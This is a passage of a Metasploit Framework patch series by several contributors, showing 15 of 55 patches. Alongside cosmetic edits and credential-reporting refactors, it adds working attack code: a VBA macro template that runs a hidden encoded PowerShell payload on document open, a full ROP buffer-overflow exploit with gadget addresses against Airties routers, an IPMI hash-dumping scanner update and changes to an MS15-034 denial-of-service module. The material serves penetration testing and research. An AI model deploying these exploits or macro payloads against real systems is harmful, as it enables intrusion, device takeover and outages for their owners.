From 72794e4c1a71497a7205a292701d4d557aba0912 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:16:49 +0000 Subject: [PATCH 01/55] Removed double spaces --- lib/msf/core/exploit/http/client.rb | 2 +- modules/exploits/windows/http/xampp_webdav_upload_php.rb | 2 +- modules/exploits/windows/iis/iis_webdav_upload_asp.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index a8ee210f38..f9a57f7f49 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -47,7 +47,7 @@ module Exploit::Remote::HttpClient Rex::Proto::Http::Client::DefaultUserAgent ]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index 5c3e8725b5..744519e2fd 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end diff --git a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb index f77ed98532..820a193e55 100644 --- a/modules/exploits/windows/iis/iis_webdav_upload_asp.rb +++ b/modules/exploits/windows/iis/iis_webdav_upload_asp.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote # The USERNAME and PASSWORD are registered again to make them more obvious they're # configurable. OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) ], self.class) end From 5709d49aae05760905e1bd9e80f5a8506f87a662 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:19:46 +0000 Subject: [PATCH 02/55] Clean up traq_plugin_exec --- modules/exploits/multi/http/traq_plugin_exec.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 932d09f4b3..0f5e27af98 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits an arbitrary command execution vulnerability in Traq 2.0 to 2.3. It's in the admincp/common.php script. - This function is called in each script located into /admicp/ directory to + This function is called in each script located in the /admicp/ directory to make sure the user has admin rights, but this is a broken authorization - schema due to the header() function doesn't stop the execution flow. This - can be exploited by malicious users to execute admin functionality resulting - for e.g. in execution of arbitrary PHP code leveraging of plugins.php - functionality. + schema due to the header() function doesn't stop the execution flow. + This can be exploited by malicious users to execute admin functionality. + e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, 'Author' => From 7426e723170962529e61844bfd864b94478d5718 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:31:01 +0000 Subject: [PATCH 03/55] Grammar - traq_plugin_exec --- modules/exploits/multi/http/traq_plugin_exec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 0f5e27af98..67657d131e 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -18,9 +18,9 @@ class Metasploit3 < Msf::Exploit::Remote Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located in the /admicp/ directory to - make sure the user has admin rights, but this is a broken authorization - schema due to the header() function doesn't stop the execution flow. - This can be exploited by malicious users to execute admin functionality. + make sure the user has admin rights. This is a broken authorization schema + because the header() function doesn't stop the execution flow. + This can be exploited by malicious users to execute admin functionality, e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. }, 'License' => MSF_LICENSE, From 127d07342e932ea15a16fcd691368f176925f86a Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Fri, 20 Mar 2015 01:36:56 +0000 Subject: [PATCH 04/55] Remove trailing space --- modules/exploits/multi/http/traq_plugin_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 67657d131e..7c972720cb 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote Traq 2.0 to 2.3. It's in the admincp/common.php script. This function is called in each script located in the /admicp/ directory to - make sure the user has admin rights. This is a broken authorization schema + make sure the user has admin rights. This is a broken authorization schema because the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality, e.g. execution of arbitrary PHP code leveraging of plugins.php functionality. From b229e87940bc519471e783b6adb9470607805ea0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 17 Apr 2015 16:51:53 +0100 Subject: [PATCH 05/55] Create VBA powershell --- .../scripts/to_powershell.vba.template | 12 ++++++++ lib/msf/util/exe.rb | 30 +++++++++++++++++++ 2 files changed, 42 insertions(+) create mode 100644 data/templates/scripts/to_powershell.vba.template diff --git a/data/templates/scripts/to_powershell.vba.template b/data/templates/scripts/to_powershell.vba.template new file mode 100644 index 0000000000..b56d930ae1 --- /dev/null +++ b/data/templates/scripts/to_powershell.vba.template @@ -0,0 +1,12 @@ +Sub %{sub_auto_open}() + Dim %{var_powershell} + %{var_powershell} = %{powershell} + Call Shell(%{var_powershell}, vbHide) +End Sub +Sub AutoOpen() + %{sub_auto_open} +End Sub +Sub Workbook_Open() + %{sub_auto_open} +End Sub + diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 3e1f19860e..909a98e161 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1001,6 +1001,33 @@ require 'msf/core/exe/segment_appender' read_replace_script_template("to_mem.vba.template", hash_sub) end + def self.to_powershell_vba(framework, arch, code) + template_path = File.join(Msf::Config.data_directory, + "templates", + "scripts") + + powershell = Rex::Powershell::Command.cmd_psh_payload(code, + arch, + template_path, + encode_final_payload: true, + remove_comspec: true, + method: 'reflection') + + # Intialize rig and value names + rig = Rex::RandomIdentifierGenerator.new() + rig.init_var(:sub_auto_open) + rig.init_var(:var_powershell) + + hash_sub = rig.to_h + # VBA has a maximum of 24 line continuations + line_length = powershell.length / 24 + vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"' + + hash_sub[:powershell] = vba_psh + + read_replace_script_template("to_powershell.vba.template", hash_sub) + end + def self.to_exe_vbs(exes = '', opts = {}) delay = opts[:delay] || 5 persist = opts[:persist] || false @@ -1904,6 +1931,8 @@ require 'msf/core/exe/segment_appender' when 'vba-exe' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vba(exe) + when 'vba-psh' + Msf::Util::EXE.to_powershell_vba(framework, arch, code) when 'vbs' exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) @@ -1950,6 +1979,7 @@ require 'msf/core/exe/segment_appender' "psh-cmd", "vba", "vba-exe", + "vba-psh", "vbs", "war" ] From 58099d046968b14823f8f3b37adbc7746f0294ef Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 22 Apr 2015 10:21:58 +0200 Subject: [PATCH 06/55] airties login bof module --- .../linux/http/airties_login_cgi_bof.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/exploits/linux/http/airties_login_cgi_bof.rb diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb new file mode 100644 index 0000000000..d1679dd6a2 --- /dev/null +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Airties login cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several Airties routers. + The vulnerability exists in the handling of HTTP queries to the login cgi with + long redirect parameter values. The vulnerability can be exploitable without authentication. + This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin + in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, + Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. + }, + 'Author' => + [ + 'Batuhan Burakcin ', # discovered the vulnerability + 'Michael Messner ', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['EDB', '36577'], + ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory + ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC + ], + 'Targets' => + [ + [ 'AirTies_Air5650v3TT_FW_1.0.2.0', + { + 'Offset' => 359, + 'LibcBase' => 0x2aad1000, + 'RestoreReg' => 0x0003FE20, # restore s-registers + 'System' => 0x0003edff, # address of system-1 + 'CalcSystem' => 0x000111EC, # calculate the correct address of system + 'CallSystem' => 0x00041C10, # call our system + 'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call + } + ] + ], + 'DisclosureDate' => 'Mar 31 2015', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/cgi-bin/login", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 100 + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values + shellcode << rand_text_alpha_upper(36) # padding + shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 + shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 + shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + shellcode << rand_text_alpha_upper(28) # padding + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/cgi-bin/login", + 'encode_params' => false, + 'vars_post' => { + 'redirect' => shellcode, + 'user' => rand_text_alpha(5), + 'password' => rand_text_alpha(8) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From 1ec0e09a43c94f649894d138ac0fb99dba2d6168 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Wed, 22 Apr 2015 10:32:47 +0200 Subject: [PATCH 07/55] msftidy --- modules/exploits/linux/http/airties_login_cgi_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index d1679dd6a2..c8d99dc030 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -13,13 +13,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Airties login cgi Buffer Overflow', + 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ This module exploits an remote buffer overflow vulnerability on several Airties routers. The vulnerability exists in the handling of HTTP queries to the login cgi with - long redirect parameter values. The vulnerability can be exploitable without authentication. + long redirect parameter values. The vulnerability can be exploitable without authentication. This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin - in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, + in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => From f5b0a7e08277d603623b4e1680821c465f44364c Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 23 Apr 2015 00:11:02 +0200 Subject: [PATCH 08/55] include rop gadget description --- .../linux/http/airties_login_cgi_bof.rb | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index c8d99dc030..ece3f68ec9 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -89,14 +89,43 @@ class Metasploit3 < Msf::Exploit::Remote def prepare_shellcode(cmd) shellcode = rand_text_alpha_upper(target['Offset']) # padding shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values + + # 0003FE20 lw $ra, 0x48+var_4($sp) + # 0003FE24 lw $s7, 0x48+var_8($sp) + # 0003FE28 lw $s6, 0x48+var_C($sp) + # 0003FE2C lw $s5, 0x48+var_10($sp) + # 0003FE30 lw $s4, 0x48+var_14($sp) + # 0003FE34 lw $s3, 0x48+var_18($sp) + # 0003FE38 lw $s2, 0x48+var_1C($sp) + # 0003FE3C lw $s1, 0x48+var_20($sp) + # 0003FE40 lw $s0, 0x48+var_24($sp) + # 0003FE44 jr $ra + # 0003FE48 addiu $sp, 0x48 + shellcode << rand_text_alpha_upper(36) # padding shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + + # 00041C10 move $t9, $s0 + # 00041C14 jalr $t9 + # 00041C18 nop + shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + + # 000215B8 addiu $a0, $sp, 0x20 + # 000215BC lw $ra, 0x1C($sp) + # 000215C0 jr $ra + # 000215C4 addiu $sp, 0x20 + shellcode << rand_text_alpha_upper(28) # padding shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + + # 000111EC move $t9, $s5 + # 000111F0 jalr $t9 + # 000111F4 addiu $s0, 1 + shellcode << cmd end From c7e05448e74addec52906a58866e4accf2e856e4 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 4 May 2015 12:55:21 +0200 Subject: [PATCH 09/55] various MIPS vs MIPSBE fixes --- modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 2 +- modules/exploits/linux/http/fritzbox_echo_exec.rb | 2 +- modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 1f9b293979..fc89dd0e39 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ], ], diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 698afb9fba..277b464beb 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ], ], diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index eacb27174a..d65f048c33 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', # unknown if there are big endian devices out there { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ] ], From c6fcb9c6c530b97ad6ca8ed2ac3416e6e3f8b24a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:39:03 -0500 Subject: [PATCH 10/55] Report credentials with create_credential_login --- .../auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 73 ++++++++++++------- 1 file changed, 48 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 2027a5547f..26f85371ce 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary passwords << "" passwords = passwords.uniq - self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}}) add_socket(self.udp_sock) @@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary write_output_files(rhost, username, sha1_salt, sha1_hash) # Write the rakp hash to the database - report_auth_info( - :host => rhost, - :port => rport, - :proto => 'udp', - :sname => 'ipmi', - :user => username, - :pass => "#{sha1_salt}:#{sha1_hash}", - :source_type => "captured", - :active => true, - :type => 'rakp_hmac_sha1_hash' - ) - + hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" + report_hash(user, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( @@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'") # Report the clear-text credential to the database - report_auth_info( - :host => rhost, - :port => rport, - :proto => 'udp', - :sname => 'ipmi', - :user => username, - :pass => pass, - :source_type => "cracked", - :active => true, - :type => 'password' - ) + report_cracked_cred(username, pass) break end end @@ -265,6 +244,51 @@ class Metasploit3 < Msf::Auxiliary end end + def service_data + { + address: rhost, + port: rport, + service_name: 'ipmi', + protocol: 'udp', + workspace_id: myworkspace_id + } + end + + def report_hash(user, hash) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: 'rakp_hmac_sha1_hash', + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + + def report_cracked_cred(user, password) + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: password, + private_type: :password, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + # # Helper methods (these didn't quite fit with existing mixins) # @@ -292,5 +316,4 @@ class Metasploit3 < Msf::Auxiliary def rport datastore['RPORT'] end - end From f49362492a5f92a2ee6cad5215c95888b271e2a0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:46:17 -0500 Subject: [PATCH 11/55] Report hash's username correctly --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 26f85371ce..7c93ee8a81 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary # Write the rakp hash to the database hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}" - report_hash(user, hash) + report_hash(username, hash) # Write the vulnerability to the database unless reported_vuln report_vuln( From d564a85f6fec89a9cc85ce2771ae98be905be725 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 May 2015 19:55:48 -0500 Subject: [PATCH 12/55] Fix jtr_format --- modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb index 7c93ee8a81..5ec74e9c31 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb @@ -260,7 +260,7 @@ class Metasploit3 < Msf::Auxiliary origin_type: :service, private_data: hash, private_type: :nonreplayable_hash, - jtr_format: 'rakp_hmac_sha1_hash', + jtr_format: 'rakp', username: user, }.merge(service_data) From 48c50a897c258de2086b52a1c09efaf5523bfd62 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 May 2015 14:43:25 -0500 Subject: [PATCH 13/55] add rpc call to change meterp transport this rpc method allows the user to change transport on an existing meterp session. if it's successful it will close the old 'session' tied to the rpevious transport MSP-12722 --- lib/msf/core/rpc/v10/rpc_session.rb | 31 +++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 21da5afbd4..a671d2a5d4 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -395,6 +395,37 @@ class RPC_Session < RPC_Base rpc_meterpreter_run_single( sid, "run #{data}") end + # Changes the Transport of a given Meterpreter Session + # + # @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc) + # @option opts [String] :lhost The LHOST of the listener to use + # @option opts [String] :lport The LPORT of the listener to use + # @option opts [String] :ua The User Agent String to use for reverse_http(s) + # @option opts [String] :proxy_host The address of the proxy to route transport through + # @option opts [String] :proxy_port The port the proxy is listening on + # @option opts [String] :proxy_type The type of proxy to use + # @option opts [String] :proxy_user The username to authenticate to the proxy with + # @option opts [String] :proxy_pass The password to authenticate to the proxy with + # @option opts [String] :comm_timeout Connection timeout in seconds + # @option opts [String] :session_exp Session Expiration Timeout + # @option opts [String] :retry_total Total number of times to retry etsablishing the transport + # @option opts [String] :retry_wait The number of seconds to wait between retries + # @option opts [String] :cert Path to the SSL Cert to use for HTTPS + # @return [Boolean] whether the transport was changed successfully + def rpc_meterpreter_transport_change(sid,opts={}) + session = _valid_session(sid,"meterpreter") + real_opts = {} + opts.each_pair do |key, value| + real_opts[key.to_sym] = value + end + real_opts[:uuid] = session.payload_uuid + result = session.core.transport_change(real_opts) + if result == true + rpc_stop(sid) + end + result + end + # Returns the separator used by the meterpreter. # From 202a77fc129c72465d87b09d99a93840fa899bb6 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Wed, 20 May 2015 18:08:00 +0100 Subject: [PATCH 14/55] Improves detection of the MS15-034 --- .../dos/http/ms15_034_ulonglongadd.rb | 87 ++++++++++++++----- 1 file changed, 65 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 0eb68da758..9c0965579f 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png']) + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']) ], self.class) deregister_options('RHOST') @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Auxiliary @file_size ||= lambda { file_size = -1 uri = normalize_uri(target_uri.path) - res = send_request_raw({'uri'=>uri}) + res = send_request_raw('uri' => uri) unless res vprint_error("#{ip}:#{rport} - Connection timed out") @@ -87,7 +87,6 @@ class Metasploit3 < Msf::Auxiliary }.call end - def dos_host(ip) file_size = get_file_size(ip) lower_range = file_size - 2 @@ -97,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary begin cli = Rex::Proto::Http::Client.new(ip) cli.connect - req = cli.request_raw({ + req = cli.request_raw( 'uri' => uri, 'method' => 'GET', 'headers' => { 'Range' => "bytes=#{lower_range}-#{upper_range}" } - }) + ) cli.send_request(req) rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches @@ -111,25 +110,69 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip}:#{rport} - DOS request sent") end - - def check_host(ip) - return Exploit::CheckCode::Unknown if get_file_size(ip) == -1 - + def potential_static_files_uris uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => uri, - 'method' => 'GET', - 'headers' => { - 'Range' => "bytes=0-#{upper_range}" - } - }) - if res && res.body.include?('Requested Range Not Satisfiable') - return Exploit::CheckCode::Vulnerable - elsif res && res.body.include?('The request has an invalid header name') - return Exploit::CheckCode::Safe - else - return Exploit::CheckCode::Unknown + + return [uri] unless uri[-1, 1] == '/' + + uris = ["#{uri}welcome.png"] + res = send_request_raw('uri' => uri, 'method' => 'GET') + + return uris unless res + + site_uri = URI.parse(full_uri) + + Nokogiri::HTML(res.body).xpath('//link|//script|//style|//img').each do |tag| + %w(href src).each do |attribute| + begin + attr_value = tag[attribute] + + next unless attr_value && !attr_value.empty? + + uri = site_uri.merge(URI.encode(attr_value.strip)) + + next unless uri.host == vhost || uri.host == rhost + + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file + rescue => e + vprint_error("#{peer} - #{e}") + next + end + end end + + uris.uniq end + def check_host(ip) + potential_static_files_uris.each do |potential_uri| + uri = normalize_uri(potential_uri) + + res = send_request_raw( + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'Range' => "bytes=0-#{upper_range}" + } + ) + + vmessage = "#{peer} - Checking #{uri} [#{res.code}]" + + if res && res.body.include?('Requested Range Not Satisfiable') + print_status("#{vmessage} - Vulnerable") + + target_uri.path = uri # Needed for the DoS attack + + return Exploit::CheckCode::Vulnerable + elsif res && res.body.include?('The request has an invalid header name') + vprint_status("#{vmessage} - Safe") + + return Exploit::CheckCode::Safe + else + vprint_status("#{vmessage} - Unknown") + end + end + + Exploit::CheckCode::Unknown + end end From 4f6fe2abce1b6ca7413f8b064079a2db797ce512 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Wed, 20 May 2015 21:36:03 +0100 Subject: [PATCH 15/55] Avoids swallowing exceptions --- .../dos/http/ms15_034_ulonglongadd.rb | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 9c0965579f..011e85351f 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -121,23 +121,19 @@ class Metasploit3 < Msf::Auxiliary return uris unless res site_uri = URI.parse(full_uri) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) - 